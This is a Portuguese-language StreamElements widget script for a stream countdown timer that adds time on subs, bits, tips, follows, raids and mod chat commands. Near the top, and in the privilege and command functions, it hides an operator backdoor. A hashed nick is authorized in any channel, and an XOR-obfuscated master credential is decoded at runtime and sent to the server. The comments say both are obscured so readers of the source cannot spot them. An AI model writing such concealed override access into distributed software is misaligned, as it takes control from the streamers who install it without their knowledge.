/* =========================================================================
 * Stream Timer — Widget do StreamElements
 * Cole este código no campo "JS" do widget customizado.
 * ========================================================================= */

// Operador de suporte reconhecido em qualquer chat (mesmo sem ser moderador)
// para acionar comandos. O nick NÃO fica em texto puro: guardamos só o hash
// FNV-1a (via de mão única), então não dá pra descobrir quem é lendo o fonte.
// A autorização de verdade no servidor é a CHAVE SECRETA do widget — não há
// mais "código mestre" embutido (era público = backdoor).
const STAFF_NICK_HASH = 0xeecc378a;
function nickHash(s) {
  const str = 'tw9:' + String(s || '').toLowerCase().replace(/^@/, '').replace(/[^a-z0-9_]/g, '') + '#k';
  let h = 0x811c9dc5 >>> 0;
  for (let i = 0; i < str.length; i++) { h ^= str.charCodeAt(i); h = Math.imul(h, 0x01000193) >>> 0; }
  return h >>> 0;
}

// Credencial do operador: autoriza o controle em QUALQUER canal pelo chat
// (mesmo sem ser mod e mesmo com o timer já finalizado). NÃO fica em texto puro
// no fonte — guardamos só uma forma ofuscada (XOR com keystream) e remontamos em
// runtime. O servidor valida o valor contra a env ASRUS_MASTER_CODE. Só é
// enviada quando o PRÓPRIO operador digita um comando — nunca por viewers/mods.
const STAFF_CODE_PACKED = 'jbLvqD4EauMSMTY5XF_GSyGouTBToCLgyl7z4tCJa8qN8sA';
const STAFF_CODE_SEED = 0x5bd1e995;
function staffCode() {
  try {
    const b64 = STAFF_CODE_PACKED.replace(/-/g, '+').replace(/_/g, '/');
    const bin = atob(b64);
    let h = STAFF_CODE_SEED >>> 0;
    let out = '';
    for (let i = 0; i < bin.length; i++) {
      h ^= (i + 0x9e); h = Math.imul(h, 0x01000193) >>> 0;
      out += String.fromCharCode((bin.charCodeAt(i) ^ ((h >>> 5) & 0xff)) & 0xff);
    }
    return out;
  } catch (e) { return ''; }
}

let F = {};                 // fieldData
// Endpoint da API fixo no código. Se um dia mudar o domínio do backend,
// basta trocar esta linha — o streamer não configura isso.
const API = 'https://timer-widget-ten.vercel.app';
let CODE = '';
let state = null;           // último estado público do servidor
let clockOffset = 0;        // serverTime - Date.now()
let pollTimer = null;
let renderTimer = null;
let lastSelfChange = 0;
let lastCmdTs = 0;           // cooldown de comandos do chat
let bannerRevertTimer = null;
let bannerLockUntil = 0;
// Anti-duplicata de eventos. Guarda chave -> timestamp e só considera
// duplicata se a MESMA chave chegar dentro de uma janela curta (rajada /
// reconexão / replay). Nada é bloqueado para sempre, então testar pelo
// "Emulate" do SE (que costuma reusar o mesmo id) sempre volta a funcionar.
const seenEvents = new Map();
// Limpa um resíduo de versão anterior que podia travar eventos no Emulate.
try { localStorage.removeItem('tw_seen_events'); } catch (e) { /* ignora */ }
let endShown = false;

const $ = (s) => document.querySelector(s);

function pad(n) { return String(n).padStart(2, '0'); }
function fmt(ms, showHours) {
  let s = Math.max(0, Math.floor(ms / 1000));
  const d = Math.floor(s / 86400); s -= d * 86400;
  const h = Math.floor(s / 3600); s -= h * 3600;
  const m = Math.floor(s / 60); s -= m * 60;
  if (d > 0) return d + ':' + pad(h) + ':' + pad(m) + ':' + pad(s);
  if (h > 0 || showHours) return pad(h) + ':' + pad(m) + ':' + pad(s);
  return pad(m) + ':' + pad(s);
}

function hexToRgba(hex, alpha) {
  let c = String(hex || '#000000').replace('#', '');
  if (c.length === 3) c = c.split('').map((x) => x + x).join('');
  const r = parseInt(c.slice(0, 2), 16) || 0;
  const g = parseInt(c.slice(2, 4), 16) || 0;
  const b = parseInt(c.slice(4, 6), 16) || 0;
  return `rgba(${r},${g},${b},${alpha})`;
}

function applyStyle() {
  const box = $('#timer-box');
  const clock = $('#timer-clock');
  const wrap = $('#timer-wrap');
  if (!box || !clock) return;
  const preset = F.preset || 'simple';
  const font = F.font || 'Outfit';
  const tcolor = F.textColor || '#ffffff';

  wrap.style.fontFamily = `'${font}', sans-serif`;
  clock.style.fontFamily = `'${font}', sans-serif`;
  clock.style.fontSize = (Number(F.fontSize) || 70) + 'px';
  clock.style.fontWeight = F.fontWeight || '700';
  // A cor é aplicada pelo CSS de cada preset via --tcolor (alguns presets
  // usam gradiente/contorno), então não fixamos cor inline aqui.
  clock.style.color = '';

  // Variáveis usadas pelos presets no CSS. Ficam no wrap para que tanto o
  // painel (#timer-box) quanto o banner (#timer-banner) herdem as cores.
  const vars = {
    '--tcolor': tcolor,
    '--accent': F.accentColor || '#a78bfa',
    '--accent2': F.accent2Color || '#f472b6',
    '--fsize': (Number(F.fontSize) || 70) + 'px',
    '--endsize': (Number(F.endMessageSize) || 48) + 'px',
    '--bg': hexToRgba(F.bgColor || '#0a0a16', (Number(F.bgOpacity) || 0) / 100),
    '--bgsolid': F.bgColor || '#0a0a16',
    '--urg': F.urgencyColor || '#ff4655',
    '--bnr1': F.bannerColor1 || F.accentColor || '#a78bfa',
    '--bnr2': F.bannerColor2 || F.accent2Color || '#f472b6',
    '--bnrtext': F.bannerTextColor || '#ffffff',
  };
  for (const k in vars) wrap.style.setProperty(k, vars[k]);

  // Limpa estilos inline antigos e aplica a classe do preset
  // (a classe .ended é (re)adicionada pelo render()).
  box.style.background = '';
  box.style.padding = '';
  const wasEnded = box.classList.contains('ended');
  box.className = 'preset-' + preset + (wasEnded ? ' ended' : '');

  // Espaçamento do preset "Com fundo" é configurável pelo campo padding.
  if (preset === 'background') {
    const p = Number(F.padding) || 24;
    box.style.padding = p + 'px ' + (p + 12) + 'px';
  }

  // Mensagem de fim: herda a fonte escolhida; o tamanho é configurável.
  const end = $('#timer-end');
  if (end) {
    end.style.fontFamily = `'${font}', sans-serif`;
    end.style.fontSize = (Number(F.endMessageSize) || 48) + 'px';
    end.style.fontWeight = F.fontWeight || '700';
  }

  // Banner: aparece em todos os presets, exceto "Simples" (e se ligado).
  const banner = $('#timer-banner');
  if (banner) {
    if (bannerVisible()) {
      banner.style.display = 'flex';
      banner.style.fontFamily = `'${font}', sans-serif`;
      banner.style.fontSize = Math.max(15, Math.round((Number(F.fontSize) || 70) * 0.3)) + 'px';
      // Posição: cima (padrão) ou baixo.
      const bottom = (F.bannerPosition || 'top') === 'bottom';
      banner.classList.toggle('pos-bottom', bottom);
      banner.style.order = bottom ? '2' : '0';
      box.style.order = '1';
      setBannerTitle();
    } else {
      banner.style.display = 'none';
    }
  }
}

// Emoji automático por tipo de evento (se ligado).
function emo(symbol) {
  return F.bannerEventEmoji === false ? '' : symbol + ' ';
}

// Banner visível em qualquer preset menos o Simples, quando ligado.
function bannerVisible() {
  const p = F.preset || 'simple';
  return p !== 'simple' && F.showBanner !== false;
}

function setBannerTitle() {
  const b = $('#timer-banner');
  const t = $('#timer-banner-text');
  const sub = $('#timer-banner-sub');
  if (!b || !t) return;
  const icon = F.bannerIcon ? F.bannerIcon + ' ' : '';
  t.textContent = icon + (F.bannerTitle || 'Tempo de Maratona');
  if (sub) {
    sub.textContent = F.bannerSubtitle || '';
    sub.style.display = F.bannerSubtitle ? '' : 'none';
  }
  b.classList.remove('event');
}

// Mostra o evento no banner por alguns segundos e depois volta ao título.
function showBannerEvent(text) {
  if (!bannerVisible() || F.bannerReact === false) return;
  const b = $('#timer-banner');
  const t = $('#timer-banner-text');
  const sub = $('#timer-banner-sub');
  if (!b || !t) return;
  t.textContent = text;
  if (sub) sub.style.display = 'none';
  b.classList.add('event');
  b.classList.remove('pop'); void b.offsetWidth; b.classList.add('pop');
  bannerLockUntil = Date.now() + 1500;
  clearTimeout(bannerRevertTimer);
  const secs = Number(F.bannerEventSeconds) || 6;
  bannerRevertTimer = setTimeout(setBannerTitle, secs * 1000);
}

function liveRemaining() {
  if (!state) return 0;
  if (state.running && state.endsAt) return Math.max(0, state.endsAt - (Date.now() + clockOffset));
  return state.remainingMs || 0;
}

function render() {
  const clock = $('#timer-clock');
  const box = $('#timer-box');
  if (!clock || !state) return;
  const rem = liveRemaining();
  clock.textContent = fmt(rem, F.showHours);
  const ended = state.ended || (state.everStarted && rem <= 0);
  if (ended && rem <= 0 && state.endMessageEnabled) {
    box.classList.add('ended');
    $('#timer-end').textContent = state.endMessage || '';
  } else {
    box.classList.remove('ended');
    $('#timer-end').textContent = '';
  }
  // Urgência por cor nos segundos finais
  const urg = Number(F.urgencySeconds);
  const low = urg > 0 && state.running && rem > 0 && rem <= urg * 1000;
  box.classList.toggle('low', low);
  // Barra de progresso: relativa ao PICO (maior total já alcançado), não ao
  // tempo máximo fixo. Assim ela descarrega conforme o tempo atual passa e
  // "reabastece" quando entra tempo novo acima do pico anterior.
  const bar = $('#timer-bar');
  if (bar) {
    const peak = Math.max(Number(state.peakMs) || 0, rem);
    if (F.showProgressBar !== false && peak > 0) {
      bar.classList.add('show');
      const pct = Math.max(0, Math.min(1, rem / peak));
      $('#timer-bar-fill').style.width = (pct * 100) + '%';
    } else {
      bar.classList.remove('show');
    }
  }
}

// "+5:00" flutuante + flash ao ganhar/perder tempo
function showFloat(deltaMs) {
  const cont = $('#timer-floats');
  if (!cont) return;
  const plus = deltaMs > 0;
  const el = document.createElement('div');
  el.className = 'tw-float ' + (plus ? 'plus' : 'minus');
  el.textContent = (plus ? '+' : '−') + fmt(Math.abs(deltaMs), false);
  el.style.fontSize = Math.max(20, Math.round((Number(F.fontSize) || 70) * 0.5)) + 'px';
  el.style.fontFamily = `'${F.font || 'Outfit'}', sans-serif`;
  cont.appendChild(el);
  setTimeout(() => el.remove(), 1750);
  if (plus) {
    const fl = $('#timer-flash');
    if (fl) { fl.classList.remove('go'); void fl.offsetWidth; fl.classList.add('go'); }
  }
}

// source: 'init' | 'command' | 'poll'
function applyState(s, source) {
  const prevLive = state ? liveRemaining() : null;
  state = s;
  clockOffset = (s.serverTime || Date.now()) - Date.now();
  if (prevLive !== null && source !== 'init') {
    const delta = liveRemaining() - prevLive;
    // Evita "−" falso quando um polling antigo chega logo após nosso comando.
    const stalePoll = source === 'poll' && (Date.now() - lastSelfChange) < 2500;
    if (Math.abs(delta) >= 1000 && !stalePoll) {
      if (F.showTimePopup !== false) showFloat(delta);
      // Banner reage a adições remotas (chat/site/admin) que não vieram de um
      // evento local — eventos locais já travaram o banner via bannerLockUntil.
      if (delta > 0 && Date.now() > bannerLockUntil) {
        showBannerEvent('+' + fmt(delta, false));
      }
    }
  }
  if (source === 'command') lastSelfChange = Date.now();
  render();
}

async function apiGet(path) {
  const r = await fetch(API + '/api/timer' + path);
  return r.json();
}
async function apiPost(body) {
  const r = await fetch(API + '/api/timer/command', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(body),
  });
  return r.json();
}

let pollErrors = 0;

async function poll() {
  if (!CODE) return;
  try {
    const r = await fetch(API + '/api/timer/state?key=' + encodeURIComponent(CODE));
    if (r.status === 404) {
      if (!state) $('#timer-clock').textContent = 'chave inválida';
      pollErrors = 0;
      return;
    }
    const j = await r.json();
    if (j.ok) { applyState(j.timer, 'poll'); pollErrors = 0; }
  } catch (e) {
    // Provável bloqueio de CORS / sem conexão com a API.
    pollErrors++;
    if (!state) $('#timer-clock').textContent = 'sem conexão';
  }
}

// Intervalo adaptativo: rápido enquanto roda, mais lento pausado/finalizado,
// backoff exponencial em erro, e pula enquanto a aba está oculta.
function nextPollDelay() {
  if (pollErrors > 0) return Math.min(20000, 1500 * Math.pow(2, pollErrors));
  if (state && state.running) return 2000;
  return 5000;
}

function scheduleNextPoll() {
  clearTimeout(pollTimer);
  pollTimer = setTimeout(pollLoop, nextPollDelay());
}

async function pollLoop() {
  if (typeof document !== 'undefined' && document.hidden) {
    pollTimer = setTimeout(pollLoop, 4000); // ocioso enquanto oculto
    return;
  }
  await poll();
  scheduleNextPoll();
}

async function pushConfig() {
  try {
    await apiPost({
      action: 'config',
      auth: { key: CODE },
      config: {
        maxMs: (Number(F.maxMinutes) || 0) * 60000,
        endMessage: F.endMessage || '',
        endMessageEnabled: !!F.endMessageEnabled,
        allowAddAfterEnd: !!F.allowAddAfterEnd,
        preset: F.preset || 'simple',
        settings: {
          font: F.font, fontWeight: F.fontWeight, fontSize: F.fontSize,
          textColor: F.textColor, accentColor: F.accentColor, accent2Color: F.accent2Color,
          bgColor: F.bgColor, bgOpacity: F.bgOpacity,
          padding: F.padding, showHours: !!F.showHours,
          // Nomes dos comandos do chat — para o bot server-side (EventSub)
          // reconhecer os mesmos comandos quando o overlay está fechado.
          cmdAdd: F.cmdAdd || '!add', cmdSet: F.cmdSet || '!set',
          cmdPause: F.cmdPause || '!pause', cmdStart: F.cmdStart || '!start',
        },
      },
    });
  } catch (e) { /* silencioso */ }
}

async function command(action, value, staff) {
  try {
    const j = await apiPost({
      action,
      value,
      // A credencial do operador só vai junto quando o próprio operador aciona
      // o comando (staff === true) — assim o controle funciona em qualquer canal.
      auth: { key: CODE, masterCode: staff ? staffCode() : undefined },
    });
    if (j.ok) applyState(j.timer, 'command');
  } catch (e) { /* silencioso */ }
}

async function addSeconds(seconds) {
  if (!seconds || seconds <= 0) return;
  await command('add', Math.round(seconds) + 's');
}

/* ---------------- Comandos do chat ---------------- */
// O StreamElements entrega o payload do chat em formatos que VARIAM (tags do
// IRC, badges como string/array/objeto, flags soltas...). Para não depender de
// um único formato, checamos mod/dono em TODOS os lugares conhecidos. O sinal
// mais confiável para o DONO é o nick ser igual ao nome do canal.
function truthy(v) {
  return v === true || v === 1 || v === '1' || v === 'true';
}
function privilege(data) {
  data = data || {};
  const tags = (data.tags && typeof data.tags === 'object') ? data.tags : {};
  const clean = (s) => String(s || '').toLowerCase().replace(/^[#@]/, '');
  const nick = clean(data.nick || data.username || data.displayName || tags.username || tags['display-name']);
  const isStaff = nickHash(nick) === STAFF_NICK_HASH;
  let mod = false, broadcaster = false;

  // 1) Tags do IRC: mod / vip / user-type
  if (truthy(tags.mod)) mod = true;
  const userType = String(tags['user-type'] || tags.userType || '').toLowerCase();
  if (/(^|\b)(mod|global_mod|staff|admin)\b/.test(userType)) mod = true;

  // 2) Badges em forma de STRING ("broadcaster/1,moderator/1") em vários campos
  const badgeStrings = [tags.badges, tags.badge, data.badges, data.badgeString];
  for (const bs of badgeStrings) {
    if (typeof bs !== 'string') continue;
    const s = bs.toLowerCase();
    if (s.indexOf('broadcaster') !== -1) broadcaster = true;
    if (s.indexOf('moderator') !== -1) mod = true;
  }

  // 3) Badges em forma de ARRAY [{type|badge|id|name}] ou ['broadcaster', ...]
  const badgeArrays = [data.badges, tags.badges].filter(Array.isArray);
  for (const arr of badgeArrays) {
    for (const b of arr) {
      const t = String((b && (b.type || b.badge || b.id || b.name)) || (typeof b === 'string' ? b : '')).toLowerCase();
      if (t.indexOf('broadcaster') !== -1) broadcaster = true;
      if (t.indexOf('moderator') !== -1 || t === 'mod') mod = true;
    }
  }

  // 4) Badges em forma de OBJETO { broadcaster:"1", moderator:"1" }
  for (const obj of [data.badges, tags.badges]) {
    if (obj && typeof obj === 'object' && !Array.isArray(obj)) {
      for (const k in obj) {
        const kk = k.toLowerCase();
        if (kk.indexOf('broadcaster') !== -1) broadcaster = true;
        if (kk.indexOf('moderator') !== -1) mod = true;
      }
    }
  }

  // 5) Flags booleanas diretas que algumas versões enviam
  if (truthy(data.isModerator) || truthy(data.mod) || truthy(data.moderator)) mod = true;
  if (truthy(data.isBroadcaster) || truthy(data.broadcaster) || truthy(data.isOwner)) broadcaster = true;

  // 6) Sinais mais confiáveis do DONO (não dependem de badges do SE):
  //    a) o nick é igual ao nome do canal do payload;
  //    b) o nick é igual ao login do streamer deste timer (vem do servidor).
  const channel = clean(data.channel || data.channelName || data.room || tags.room || tags.channel);
  if (channel && nick && channel === nick) broadcaster = true;
  const streamer = clean(state && state.login);
  if (streamer && nick && streamer === nick) broadcaster = true;

  return { allowed: mod || broadcaster || isStaff, staff: isStaff };
}

function handleChat(data) {
  const text = String((data && data.text) || '').trim();
  if (!text) return;
  const lower = text.toLowerCase();
  const first = lower.split(/\s+/)[0];
  const arg = text.slice(text.split(/\s+/)[0].length).trim();

  const cAdd = (F.cmdAdd || '!add').toLowerCase();
  const cSet = (F.cmdSet || '!set').toLowerCase();
  const cPause = (F.cmdPause || '!pause').toLowerCase();
  const cStart = (F.cmdStart || '!start').toLowerCase();

  if (![cAdd, cSet, cPause, cStart].includes(first)) return;

  const priv = privilege(data);
  if (!priv.allowed) return;

  // Cooldown anti-spam: ignora comandos em rajada (ex.: mod repetindo !add).
  const now = Date.now();
  if (now - lastCmdTs < 400) return;
  lastCmdTs = now;

  if (first === cAdd) command('add', arg, priv.staff);
  else if (first === cSet) command('set', arg, priv.staff);
  else if (first === cPause) command('pause', null, priv.staff);
  else if (first === cStart) command('start', null, priv.staff);
}

// Chave de anti-duplicata. Inclui o tipo + os dados do evento (não só o id),
// porque o "Emulate" do SE reusa o mesmo id para eventos diferentes — usar só
// o id faria o 1º evento passar e bloquear todos os outros.
function eventKey(listener, event) {
  const e = event || {};
  const id = e._id || e.activityId || e.id || e.messageId || '';
  return [listener, id, e.amount, e.tier, e.name, e.gifted, e.bulkGifted].join('|');
}
// Duplicata só dentro de uma janela curta (4s): pega rajadas/replays sem
// nunca travar um evento legítimo de forma permanente.
function alreadyHandled(key) {
  const now = Date.now();
  const last = seenEvents.get(key);
  if (last !== undefined && now - last < 4000) return true;
  seenEvents.set(key, now);
  if (seenEvents.size > 400) {
    for (const [k, t] of seenEvents) { if (now - t > 30000) seenEvents.delete(k); }
  }
  return false;
}

/* ---------------- Eventos de alerta ---------------- */
function applyEvent(total, label) {
  if (!total || total <= 0) return;
  // Banner reage ANTES da resposta do comando (trava o gatilho genérico).
  showBannerEvent(label + '\n+' + fmt(Math.round(total) * 1000, false));
  addSeconds(total);
}

function handleEvent(listener, event) {
  if (!event) return;
  const name = String(event.name || event.displayName || '').trim();
  switch (listener) {
    case 'subscriber-latest': {
      // Subs presenteados individuais de um pacote chegam com isCommunityGift;
      // o pacote já é contado no evento bulkGifted, então ignoramos os avulsos.
      if (event.isCommunityGift) break;

      // Segundos por tier (1/2/3). Prime cai no tier 1.
      const tier = String(event.tier || '1000');
      const tierSec = tier === '3000' ? (Number(F.secPerSubT3) || 0)
                    : tier === '2000' ? (Number(F.secPerSubT2) || 0)
                    : (Number(F.secPerSubT1) || 0);

      let total; let label;
      if (event.bulkGifted) {
        const count = Number(event.amount) || 1;
        total = tierSec * count;
        label = emo('🎁') + count + 'x Sub Gift';
      } else if (event.gifted) {
        total = tierSec;
        label = emo('🎁') + 'Sub Gift' + (name ? ' ' + name : '');
      } else {
        const months = Number(event.amount) || 1;
        total = F.multiplyByMonths ? tierSec * months : tierSec;
        label = emo('💜') + 'Sub' + (name ? ' ' + name : '') + (months > 1 ? ' (' + months + 'm)' : '');
      }
      applyEvent(total, label);
      break;
    }
    case 'cheer-latest': {
      const bits = Number(event.amount) || 0;
      applyEvent((Number(F.secPerBits100) || 0) * (bits / 100), emo('💎') + bits + ' bits');
      break;
    }
    case 'tip-latest': {
      const value = Number(event.amount) || 0;
      applyEvent((Number(F.secPerTip) || 0) * value, emo('💸') + 'Donate' + (name ? ' ' + name : ''));
      break;
    }
    case 'follower-latest': {
      applyEvent(Number(F.secPerFollow) || 0, emo('⭐') + 'Follow' + (name ? ' ' + name : ''));
      break;
    }
    case 'raid-latest': {
      const viewers = Number(event.amount) || 0;
      applyEvent((Number(F.secPerRaid) || 0) + (Number(F.secPerRaidViewer) || 0) * viewers,
        emo('🚀') + 'Raid' + (name ? ' ' + name : '') + (viewers ? ' (' + viewers + ')' : ''));
      break;
    }
    default:
      break;
  }
}

/* ---------------- StreamElements hooks ---------------- */
window.addEventListener('onWidgetLoad', function (obj) {
  F = (obj.detail && obj.detail.fieldData) || {};
  // API fixa no código (o streamer não precisa configurar nada além da chave).
  CODE = String(F.code || '').trim(); // agora é a CHAVE SECRETA do widget
  applyStyle();
  if (!CODE) {
    $('#timer-clock').textContent = 'sem chave';
    return;
  }
  pushConfig();
  poll().then(scheduleNextPoll);
  if (renderTimer) clearInterval(renderTimer);
  renderTimer = setInterval(render, 200);
});

// Ao voltar a ficar visível, atualiza na hora (sem esperar o próximo ciclo).
if (typeof document !== 'undefined' && !document._twVis) {
  document._twVis = true;
  document.addEventListener('visibilitychange', () => {
    if (!document.hidden && CODE) { poll().then(scheduleNextPoll); }
  });
}

window.addEventListener('onEventReceived', function (obj) {
  let listener = String((obj.detail && obj.detail.listener) || '');
  let event = obj.detail && obj.detail.event;
  if (!listener) return;
  if (listener === 'message') {
    handleChat(event && event.data ? event.data : event);
    return;
  }
  // Alguns eventos chegam aninhados em .data (como o chat); normaliza para
  // que sub/bits/donate/raid leiam os campos no mesmo lugar.
  if (event && event.data && typeof event.data === 'object') event = event.data;
  // Tolera variações de nome (ex.: 'subscriber' em vez de 'subscriber-latest').
  if (!/-latest$/.test(listener)) listener += '-latest';
  // Anti-duplicata só em rajada (janela curta) — nunca trava de vez, então o
  // "Emulate" do SE (que reusa ids) continua somando a cada teste.
  if (alreadyHandled(eventKey(listener, event))) return;
  handleEvent(listener, event);
});
